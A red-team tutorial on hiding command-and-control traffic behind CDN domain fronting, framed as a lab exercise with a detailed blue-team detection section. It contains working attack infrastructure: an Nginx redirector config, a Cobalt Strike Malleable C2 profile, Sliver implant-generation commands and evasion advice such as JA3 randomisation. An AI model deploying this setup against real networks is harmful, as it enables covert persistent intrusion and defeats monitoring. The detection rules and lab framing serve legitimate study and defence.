Domain Fronting and CDN Redirection for C2 Resilience
You stand up a team server on a $5 VPS, slap a self-signed cert on it, and point a beacon straight at the IP. It survives about as long as it takes the SOC to check one firewall log. A raw origin IP with no reputation, no cover traffic, and no way to rotate is dead on arrival. The whole point of mature C2 infrastructure is to make the front-facing layer disposable and the team server untouchable, so that burning one does not cost you the other.
Objective: Understand the TLS/HTTP split that makes domain fronting work, build a full CDN-backed redirector chain against your own lab, configure Cobalt Strike and Sliver to front through it, and then hunt the exact same traffic from the blue side using SNI/Host mismatch, JA3, Sysmon, and ETW.
Everything here runs against infrastructure you own. No third-party front domains, no live targets. The technique maps to MITRE ATT&CK T1090.004 (Proxy: Domain Fronting).
Contents
- 1 1. Why CDN Infrastructure Buys You the Whole Engagement
- 2 2. How Domain Fronting Works: TLS, SNI, and the Host Header
- 3 3. CDN Provider Landscape: What Still Works
- 4 4. Lab Setup: Building the Full Redirector Chain
- 5 5. Cobalt Strike Malleable C2 Profile for CDN Fronting
- 6 6. Sliver: The Open-Source Alternative
- 7 7. Serverless Relay: The AzureC2Relay Pattern
- 8 8. OPSEC Hardening for CDN Infrastructure
- 9 9. Common Attacker Techniques
- 10 10. Defensive Strategies & Detection
- 11 11. Lab Exercise: Full Chain, Red vs. Blue
- 12 12. Tools for CDN C2 Analysis
- 13 13. MITRE ATT&CK Mapping
- 14 Summary
- 15 Related Tutorials
- 16 References
1. Why CDN Infrastructure Buys You the Whole Engagement
A good red team infrastructure has one job: move C2 traffic from the target to your team server, undetected, for as long as the engagement lasts. That means separating roles so no single point of failure gives the defender everything.
| Component | Role |
|---|---|
| Team Server | Backend C2 (Cobalt Strike, Sliver, Havoc). Never directly exposed. |
| Redirector / Relay | Nginx or Apache forwarder between the CDN and team server. Filters non-C2 traffic. |
| CDN Distribution | CloudFront distribution, Azure Front Door endpoint, or Cloudflare Worker. The front-facing layer. |
| Front Domain (SNI) | High-reputation domain served by the CDN. The decoy destination passive inspection sees. |
| Host Header / Origin | Your CDN distribution FQDN or custom domain, routing to your redirector. |
If a defender finds the CDN endpoint, they still cannot reach the team server. If the redirector gets burned, you spin up a new one and re-point the CDN. The team server stays put, sessions intact. That layering is the entire value proposition.
2. How Domain Fronting Works: TLS, SNI, and the Host Header
Domain fronting exploits a routing quirk in CDNs that host many customers behind the same edge. The trick is putting one domain in the TLS SNI field and a different domain in the HTTP Host header. The perimeter firewall reads the SNI in cleartext and sees a benign, high-reputation domain. The CDN, after it decrypts the tunnel, reads the Host header and routes to wherever that points, which is you.
Here is the split, layer by layer:
| Layer | Field | Seen by network/firewall | Acted on by CDN |
|---|---|---|---|
| TLS (outer) | SNI (server_name in ClientHello) | trusted-front.cdn.net, cleartext | Selects the TLS cert to present |
| HTTP (inner, inside TLS) | Host header | Encrypted, invisible to passive inspection | Routes to the real C2 origin |
The SNI is a TLS extension (RFC 6066), sent in the ClientHello in plaintext because the client has to tell the server which cert to serve before the tunnel exists. A firewall without TLS interception can only see this. The Host header lives inside the encrypted payload and carries the true backend target. The CDN edge terminates TLS using the front domain’s cert, reads the decrypted Host, and reverse-proxies to the configured origin regardless of which SNI opened the connection.
Roughly, the flow on the wire:
[Beacon] --ClientHello (SNI: trusted-front.cdn.net)--> [Perimeter FW: "just a CDN, allow"]
--TLS established with front-domain cert--> [CDN Edge]
--decrypt--> reads HTTP Host: your-distro.cloudfront.net
--reverse proxy--> [Your Redirector] --> [Team Server]
There is also a “domainless” variant: leave the SNI field blank entirely. Some CDNs that try to enforce SNI-to-Host matching will ignore a blank SNI, letting the front still work. Whether that flies depends entirely on the provider.

3. CDN Provider Landscape: What Still Works
Be honest with yourself here, because operators waste days trying classic cross-customer fronting on providers that killed it years ago. Two distinct patterns matter:
- Classic domain fronting: front domain does not belong to you, you both just happen to sit on the same CDN.
- CDN-as-redirector: your own CDN distribution fronts your own origin. This is what still works reliably and is the primary lab focus.
| Provider | Classic cross-customer fronting | CDN-as-redirector |
|---|---|---|
| AWS CloudFront | Blocked since 2018 (enforces SNI/Host match) | Works: own distribution to own origin |
| Google App Engine | Blocked since 2018 | Limited |
| Azure Front Door / Azure CDN | Config-dependent; profiles have used Fastly and AzureEdge | Works, varies by tier |
| Fastly | Config-dependent | Viable |
| Cloudflare | Config-dependent | Viable (Workers / Tunnels) |
Classic fronting got harder as providers cracked down, but variations like “domain hiding” work in similar ways, and CDN-as-redirector remains fully viable. When you read a 2016 blog promising you can front through some giant consumer domain, assume it is dead and test in your lab before you rely on it.
4. Lab Setup: Building the Full Redirector Chain
Lab topology: a Windows 10/11 victim VM (Defender on), an Ubuntu 22.04 team server, an Ubuntu 22.04 redirector running Nginx, and a Cloudflare (free tier) or CloudFront distribution pointed at the redirector. Use a cheap personal domain for the lab, or /etc/hosts entries if you keep everything local.
Phase 1: Provision the redirector
# On the redirector VM
sudo apt install nginx -y
# Self-signed cert for the redirector-to-teamserver leg (Let's Encrypt if you have a real domain)
openssl req -x509 -newkey rsa:4096 -keyout /etc/ssl/private/c2.key \
-out /etc/ssl/certs/c2.crt -days 365 -nodes -subj "/CN=lab-redirector"
Phase 2: Nginx redirector config
The redirector forwards only known C2 URI patterns and 302s everything else to a decoy. Scanners, sandboxes, and curious analysts get bounced to Microsoft’s homepage. Real beacon traffic gets proxied to the team server.
# /etc/nginx/sites-available/c2-redirect
server {
listen 443 ssl;
ssl_certificate /etc/ssl/certs/c2.crt;
ssl_certificate_key /etc/ssl/private/c2.key;
# Forward only your C2 URIs
location ~* ^/(beacon|updates|check-in) {
proxy_pass https://<TEAM_SERVER_IP>:443;
proxy_set_header Host $host; # preserve Host for the team server
proxy_ssl_verify off;
}
# Everything else is a scanner: bounce it
location / {
return 302 https://www.microsoft.com;
}
}
Lock the redirector down further with allow/deny ACLs so only the CDN’s published egress ranges can hit port 443. If a defender resolves your CDN and tries to connect from anywhere else, the redirector never answers.
Phase 3: CDN distribution (Cloudflare example)
DNS: lab-c2.yourdomain.com -> <REDIRECTOR_IP> (proxied, orange cloud ON)
SSL/TLS: Full (strict)
Firewall: allow only CDN egress IPs -> redirector:443
With the orange cloud on, lab-c2.yourdomain.com resolves to Cloudflare edge IPs, not your redirector. The victim never sees your infrastructure’s real address.

5. Cobalt Strike Malleable C2 Profile for CDN Fronting
Malleable C2 lets you shape Beacon traffic to look like something legitimate. For fronting, the single load-bearing detail is the Host header, and it must appear in both the http-get -> client and http-post -> client blocks. Miss one and your POSTs sail past the CDN unrouted while GETs work, which produces a maddening half-broken beacon.
# profiles/cdn-front.profile
set sleeptime "5000";
set jitter "20";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
http-get {
set uri "/beacon";
client {
header "Host" "lab-c2.yourdomain.com"; # CDN-fronted hostname
header "Accept" "*/*";
}
}
http-post {
set uri "/updates";
client {
header "Host" "lab-c2.yourdomain.com"; # MUST also be here
header "Content-Type" "application/octet-stream";
}
}
ssl-certificate {
set CN "lab-c2.yourdomain.com";
}
CloudFront and most CDNs require your origin to present a valid SSL certificate, so the ssl-certificate block is not optional. Validate before you start anything:
./c2lint profiles/cdn-front.profile
./teamserver "$TEAM_SERVER_IP" "$PASSWORD" profiles/cdn-front.profile
Here is the gotcha that cost me the better part of an afternoon once: a profile that passes c2lint is not guaranteed to work through a CDN. The CDN edge can rewrite HTTP requests. It may strip headers, reorder them, normalise casing, or inject its own (X-Forwarded-For, Via, CF-Ray). If your profile encodes metadata into a header the CDN mangles, the beacon checks in but the tasking silently corrupts. Always capture a real request through the full chain and diff it against what your profile expects. c2lint validates syntax, not the behaviour of somebody else’s edge.
6. Sliver: The Open-Source Alternative
If you do not have a Cobalt Strike license, Sliver supports fronting natively and is free. The relevant knobs are --domain for the front and --host-header for the routing hostname.
# Start the Sliver server
sliver-server
# Generate an HTTPS implant that fronts
generate --http lab-c2.yourdomain.com --host-header lab-c2.yourdomain.com \
--os windows --arch amd64 --format exe --save /tmp/beacon.exe
# Start the HTTPS listener
https --domain lab-c2.yourdomain.com --lport 443
Sliver also offers mTLS and WireGuard listeners if you want a non-HTTP channel for the fallback leg. As with Cobalt Strike, the utility of fronting comes down to the CDN provider’s enforcement posture, so test the full chain, not just the listener. Verify the flags against your installed Sliver version; the CLI has churned across releases.
7. Serverless Relay: The AzureC2Relay Pattern
You can push the redirector into serverless and get profile-aware validation for free. AzureC2Relay is an Azure Function with an HTTP(S) trigger that validates incoming Beacon traffic against a Cobalt Strike Malleable C2 profile. Requests that do not match the profile’s user-agent, URI paths, headers, and query parameters get redirected to a configurable decoy site. Validated traffic is relayed to a team server inside the same virtual network, further fenced off by a network security group.
The win is twofold. The function scales and rotates trivially, and the team server never touches the public internet: it lives in a VNet reachable only from the function. A defender who somehow enumerates the Azure Function still hits a validator that speaks only to beacons matching your exact profile.
8. OPSEC Hardening for CDN Infrastructure
Fronting hides the destination, not sloppy tradecraft. Harden the whole chain.
| Technique | Abuse Scenario |
|---|---|
| Domain aging + categorization | Register front-adjacent domains early; get them categorized as benign before the op |
| WHOIS privacy | Prevent attribution linking your domains together |
| Role segmentation | Separate boxes for staging, long-haul, and phishing so one burn does not cascade |
| CDN IP allowlisting | Redirector accepts only CDN egress ranges; direct scans get nothing |
| Kill-switch routing | Re-point the CDN origin to a decoy the instant infrastructure is burned |
| TLS randomization | Vary JA3 parameters so default C2 fingerprints do not give you away |
That last one matters more than most operators realise, which brings us to how the blue team actually catches all of this.
9. Common Attacker Techniques
| Technique | Description |
|---|---|
| Classic domain fronting | Front domain differs from origin; both share a CDN edge (largely blocked now) |
| CDN-as-redirector | Own CDN distribution fronts own origin; the durable pattern |
| Domainless fronting | Blank SNI to defeat SNI/Host match enforcement |
| Serverless relay | Azure Function / Worker validates and relays profile-matching traffic only |
| Malleable traffic shaping | Beacon HTTP made to mimic legitimate app traffic via profiles |
10. Defensive Strategies & Detection
Domain fronting is genuinely one of the harder C2 techniques to catch, precisely because nearly every enterprise pours enormous legitimate traffic at CDNs all day. Detection without tuning is a firehose of false positives. That said, several signals are high-confidence.
TLS inspection: the SNI/Host mismatch
The single strongest detection is decrypting TLS at the perimeter and comparing the SNI to the HTTP Host header. In classic fronting they differ, and that mismatch is a near-definitive tell. A proxy that intercepts TLS can compare the Host header to the connection’s SNI, and on mismatch overwrite the domain, log it, and alert. This is MITRE DET0196: outbound HTTPS where the TLS SNI does not match the HTTP Host, especially from curl, wget, or custom binaries with a mismatched or absent SNI targeting CDN-hosted endpoints.
Note the honest limitation: in the CDN-as-redirector model your SNI and Host are often the same value, so there is no mismatch to catch. That is why you also need behavioural and fingerprint detection.
JA3/JA3S fingerprinting
JA3 hashes the TLS handshake into a signature of how the client behaves. Cobalt Strike’s default JA3 hashes are widely published, and crucially these fingerprints survive domain fronting because they reflect the TLS client, not the domain it connects to. Feed pcap into Zeek or write Suricata rules against the tls.ja3 field to flag known C2 handshakes regardless of the front.
Sysmon telemetry
| Event ID | Name | Relevance |
|---|---|---|
| EID 3 | NetworkConnect | Outbound connections with DestinationIp, DestinationHostname; correlate CDN connections to the process |
| EID 22 | DNSQuery | CDN FQDN lookups; hunt unusual processes resolving CDN domains |
| EID 1 | ProcessCreate | Parent/child anomalies around the beacon |
| EID 7 | ImageLoaded | DLL loads for injected beacons |
The high-value hunt is a non-browser process making CDN connections. powershell.exe or rundll32.exe resolving .cloudfront.net is not normal.
title: Non-Browser Process Beaconing to CDN Endpoint
logsource:
product: windows
service: sysmon
detection:
selection:
EventID: 3
DestinationHostname|endswith:
- '.cloudfront.net'
- '.azureedge.net'
- '.fastly.net'
- '.workers.dev'
filter:
Image|endswith:
- '\chrome.exe'
- '\msedge.exe'
- '\firefox.exe'
condition: selection and not filter
level: high
ETW and native audit
| ETW Provider | Captures |
|---|---|
Microsoft-Windows-WinINet | HTTP/S transactions including Host headers from WinINet-based C2 |
Microsoft-Windows-DNS-Client | DNS resolution events |
Microsoft-Windows-TCPIP | TCP connection telemetry |
Where Sysmon is not deployed, Security Event 5156 (Filtering Platform Connection) logs allowed connections with local/remote address and port. Enable it with:
auditpol /set /subcategory:"Filtering Platform Connection" /success:enable
Verify ETW provider GUIDs on your own host with logman query providers before you build detections on them.
Beaconing analysis
Fronted C2 still beacons. Periodic, small, regularly timed connections to CDN ranges deserve investigation even when you cannot read the headers. Baseline your legitimate CDN traffic per process first; the anomaly is the point.

11. Lab Exercise: Full Chain, Red vs. Blue
Run the whole thing end to end.
Red, verify the front works:
# On the victim VM: resolves to CDN edge, not your team server
Resolve-DnsName lab-c2.yourdomain.com
.\beacon.exe
Confirm in Wireshark that the ClientHello SNI is lab-c2.yourdomain.com and the Host header is invisible inside the TLS payload. Your team server logs should show the connection sourced from a CDN egress IP, never the victim’s address.
Blue, expose the Host header:
# Transparent TLS intercept to reveal the inner Host
mitmproxy --mode transparent --ssl-insecure
In the mitmproxy console, compare SNI against Host per flow. In the CDN-as-redirector model they match, so you fall back to JA3 (run the pcap through Zeek) and to the Sysmon EID 3 hunt for a non-browser process talking to a CDN. In a classic fronting setup the SNI would read as a third-party front while the Host reads your origin, and that gap is your alert.
12. Tools for CDN C2 Analysis
| Tool | Description | Link |
|---|---|---|
| Cobalt Strike | Commercial C2 with Malleable profiles and c2lint | cobaltstrike.com |
| Sliver | Open-source C2 with native fronting flags | github.com/BishopFox/sliver |
| Nginx | Redirector / reverse proxy | nginx.org |
| Zeek | JA3 generation and network telemetry from pcap | zeek.org |
| Suricata | IDS with tls.ja3 rule support | suricata.io |
| mitmproxy | TLS intercept to reveal Host vs SNI | mitmproxy.org |
| Wireshark | Packet inspection of the ClientHello SNI | wireshark.org |
| Sysmon | Endpoint EID 3/22/1/7 telemetry | learn.microsoft.com |
13. MITRE ATT&CK Mapping
| Technique | MITRE ID | Detection |
|---|---|---|
| Proxy: Domain Fronting | T1090.004 | SNI/Host mismatch via TLS inspection (DET0196) |
| Proxy | T1090 | Beaconing to CDN ranges from unusual processes |
| Proxy: External Proxy | T1090.002 | CDN-as-redirector without full front |
| Web Service | T1102 | CDN/cloud-hosted C2 channel analysis |
| Application Layer Protocol: Web | T1071.001 | HTTP/S C2 transport inspection |
| Acquire Infrastructure: Domains | T1583.001 | Newly registered / low-reputation front domains |
| Acquire Infrastructure: Server | T1583.004 | Redirector and team server provisioning |
| Obfuscated Files and Information | T1027 | Malleable profile traffic shaping |
Summary
- Domain fronting hides the C2 destination by splitting the TLS SNI from the HTTP Host header, letting the CDN route to your origin while the firewall sees a benign domain.
- Classic cross-customer fronting is largely dead on CloudFront and App Engine; the durable pattern is CDN-as-redirector fronting your own distribution to your own origin.
- Resilience comes from layering: disposable CDN and redirector out front, an untouchable team server behind, so burning one layer never costs the session.
- The Host header must appear in both
http-getandhttp-postclient blocks, and passingc2lintdoes not mean the CDN will not rewrite your traffic. - Defenders catch it with TLS inspection (SNI/Host mismatch, DET0196), JA3 fingerprinting that survives the front, Sysmon EID 3 hunts for non-browser CDN connections, and beaconing analysis, all of which demand heavy baselining because legitimate CDN traffic is enormous.
Related Tutorials
- Phishing Campaign Design: Pretexting, Lures, and Target Profiling
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- OSINT for People and Credentials: LinkedIn, Breach Data, and Email Harvesting
- Active OSINT: DNS, Certificate Transparency, and Subdomain Enumeration
- Passive OSINT: Mapping the Target Without Touching It
References
- www.microsoft.com
- attack.mitre.org
- attack.mitre.org
- d3fend.mitre.org
- trustedsec.com
- www.huntress.com
- www.cyberark.com
- thedfirreport.com
Get new drops in your inbox
Windows internals, exploit dev, and red-team write-ups - no spam, unsubscribe anytime.